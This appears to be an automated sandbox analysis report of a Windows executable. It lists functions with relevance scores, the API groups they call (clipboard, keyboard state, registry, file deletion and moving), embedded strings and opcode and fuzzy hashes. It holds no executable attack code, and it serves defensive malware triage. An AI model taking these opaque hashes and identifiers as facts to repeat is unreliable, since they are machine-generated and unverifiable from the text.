                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: memcpy_s$_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 2880407647-0
                                                            • Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                            • Instruction ID: e562e7ffb4c0394169ce833e740830615b3dcf9afe7c9756465804f36e719f79
                                                            • Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                            • Instruction Fuzzy Hash: 1B03C6B2A092C28BD7758E25D540BFD77A5FB99788F800135DB4997B9CEF38A904CB40
                                                            Function 00007FF69DBC0A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                            • String ID:
                                                            • API String ID: 3222323430-0
                                                            • Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                            • Instruction ID: ca3e39ae213766eafe08347453d131a2e0b913b0390d5c3eb47cc06694747c7c
                                                            • Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                            • Instruction Fuzzy Hash: 397152A1B09A4382EE309B25D55437D63A1FF96B84F4040B5D98E83799FF3CE505C790
                                                            Function 00007FF69DBDC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
                                                            • String ID:
                                                            • API String ID: 1015379403-0
                                                            • Opcode ID: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
                                                            • Instruction ID: 5739e8c905b5202e4390c13325b8b0e5a7d9c41a700cf56597c95ff4f8069e17
                                                            • Opcode Fuzzy Hash: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
                                                            • Instruction Fuzzy Hash: 8802D2F1A0868285EB308F21D8046BD67A1FB8A794F5442B2DADD87ADCEF3CE5418740
                                                            Function 00007FF69DBC206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Cursor$Load$ErrorInfoLast
                                                            • String ID:
                                                            • API String ID: 3215588206-0
                                                            • Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                            • Instruction ID: f6ac247b2453bab0e8595c0f44b5aecc796a6707c85def98378b969e20f99c75
                                                            • Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                            • Instruction Fuzzy Hash: 14515072B0CB028AEB54CF64E45827D33E1FB5A744F5444B9DA8E83788EE7CE4568394
                                                            Function 00007FF69DB7529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
                                                            • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                            • API String ID: 281475176-2761157908
                                                            • Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                            • Instruction ID: 024af087f7d6333b622b8399f7c674b1f8d1d28ba2446ad699dab913f3e2a261
                                                            • Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                            • Instruction Fuzzy Hash: C6B2D4B2A082829BE7758E69D440AFD37E5FB95788F505135DA4AD7F8CEF38E5048B00
                                                            Function 00007FF69DBD0AEC Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseValue$ConnectCreateRegistry
                                                            • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                            • API String ID: 3314541760-966354055
                                                            • Opcode ID: 8da99fa8f9cfa95644d42f55175067c4e32022aa9dc53b987727f765eeff7340
                                                            • Instruction ID: 2a1d59da935840c8776c4e8bb43936811784bf1d05ed6ef444e7b3c8e334b2af
                                                            • Opcode Fuzzy Hash: 8da99fa8f9cfa95644d42f55175067c4e32022aa9dc53b987727f765eeff7340
                                                            • Instruction Fuzzy Hash: 5C0272A6B08B4285EB20EF25D4502AD7764FF8AFC4B448472DE8D8775AEF38E545C340
                                                            Function 00007FF69DB35F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: P
                                                            • API String ID: 0-3110715001
                                                            • Opcode ID: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
                                                            • Instruction ID: 4739e3360f51b55b283a896ef0ab128903d0c2ca4f68910fc2ab5361998108bc
                                                            • Opcode Fuzzy Hash: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
                                                            • Instruction Fuzzy Hash: 6DA1C3B2A0864197F734CF25D4046B9B7A0FB96788F5081B9DADE83A98EF7CE545C700
                                                            Function 00007FF69DBB72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Time$File$FindLocalSystem$CloseFirst
                                                            • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                            • API String ID: 3232708057-3289030164
                                                            • Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                            • Instruction ID: 9a9740c3c0a6267a271bf9f635daa0561fe2ad99d6bd71d3b9682611561a8c07
                                                            • Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                            • Instruction Fuzzy Hash: 0BD1B5A2B1CA5296EB20EB65D4811FDA771FB81794F800172EA8D87A9DFF7CD508C740
                                                            Function 00007FF69DBAD87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: SendString
                                                            • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                            • API String ID: 890592661-1007645807
                                                            • Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                            • Instruction ID: 3f69dfb46a14347b0165de0c041c5c69d0fbc56d9299bf9a172b0cbe61abe3fc
                                                            • Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                            • Instruction Fuzzy Hash: EB2141A2E1895292EB30DB24E85477AA774FBA5748F9040B1E9CD83D9CFE7CD909C740
                                                            Function 00007FF69DBA7E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: State$Async$Keyboard
                                                            • String ID:
                                                            • API String ID: 541375521-0
                                                            • Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                            • Instruction ID: 736e30a7b4259088cba004896e3923179dd4f056ae829879e57d6ffc2ab3f7a9
                                                            • Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                            • Instruction Fuzzy Hash: 3271079BA0C2C245FB348B3490102B92BE1EF57B94F9800F9D6CD4379AEE5DD949C761
                                                            Function 00007FF69DBB3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
                                                            • String ID: :$\$\??\%s
                                                            • API String ID: 3827137101-3457252023
                                                            • Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
                                                            • Instruction ID: 2e2c4953157e5fea64996e676f5da949dfadd91214f60529a558095218074fd5
                                                            • Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
                                                            • Instruction Fuzzy Hash: 7F41A462A1868385E7309F61E8406FD63A0FF96798F440176DA8D87B9CEF7CD546C710
                                                            Function 00007FF69DBD055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
                                                            • String ID:
                                                            • API String ID: 3218304859-0
                                                            • Opcode ID: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
                                                            • Instruction ID: 7094296a1a477030ea480e2d14ea7c17af5b10732b04675168b5531d96093f38
                                                            • Opcode Fuzzy Hash: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
                                                            • Instruction Fuzzy Hash: B0F175B2B05B4286EB20DF65D5902BC73B0FB8AB98B458172DE8D87799EF38D111C744
                                                            Function 00007FF69DB9C5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                            • String ID:
                                                            • API String ID: 1255039815-0
                                                            • Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                            • Instruction ID: 1c61ff94a48157df53134be53fea40514fe8418a30c6c1fd44b9603f5bd669d4
                                                            • Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                            • Instruction Fuzzy Hash: 2C61AFA2B0469186EB20DF62D8406BC37F4FB95B88B449075DE8E9379DEF38D945C350
                                                            Function 00007FF69DBB59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Error$Mode$DiskFreeLastSpace
                                                            • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                            • API String ID: 4194297153-14809454
                                                            • Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
                                                            • Instruction ID: cfab623a0ee5b7eef555f5ac500acda9d36b4a9059104b980a362a5d28dd94f5
                                                            • Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
                                                            • Instruction Fuzzy Hash: A54172B2A08A4295EB20DB25D4C01BC77B1FB59B94F544472CA8D93B99FF3CE585C350
                                                            Function 00007FF69DBC6C34 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                            • String ID:
                                                            • API String ID: 2395222682-0
                                                            • Opcode ID: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                            • Instruction ID: d3b9d01921c9a06d190a2662d89764a13b981782c519adf385f11c9c9cad7b96
                                                            • Opcode Fuzzy Hash: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
                                                            • Instruction Fuzzy Hash: E8D17F76B08B4686EB209F79D4406AD33B1FB99BC8B5044B6DE8D97B68EF38D445C340
                                                            Function 00007FF69DBDA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$LongWindow
                                                            • String ID:
                                                            • API String ID: 312131281-0
                                                            • Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                            • Instruction ID: c8729c32ca3e6de0a59f32bf419bdca8df1d15e2f59cd9b3053be1f7507af130
                                                            • Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
                                                            • Instruction Fuzzy Hash: 9E71A1B6605A8185E720CF65D844AFD37A4FB89B98F505072EE8D87BA8EF3DD146C700
                                                            Function 00007FF69DBC0D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                            • String ID:
                                                            • API String ID: 1737998785-0
                                                            • Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                            • Instruction ID: e957ac44e9ae24a11568018d8e649e3cb582fdd1222bee44eefc73440516c114
                                                            • Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
                                                            • Instruction Fuzzy Hash: A94180B1A0868282EF24DF16D59433877A0FF96B85F0484B5DACE8779AEF7CE0418740
                                                            Function 00007FF69DBAB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
                                                            • String ID: \*.*
                                                            • API String ID: 4047182710-1173974218
                                                            • Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                            • Instruction ID: 36cab580c3220327b6677365664e59c083689ed94874c33c6b77ef0264feb4e5
                                                            • Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                            • Instruction Fuzzy Hash: 0B8178A2A08A4295FB20DB65E4501FD67A0EF95794F8001B2EADE875ADEF3CD549C700
                                                            Function 00007FF69DB72650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
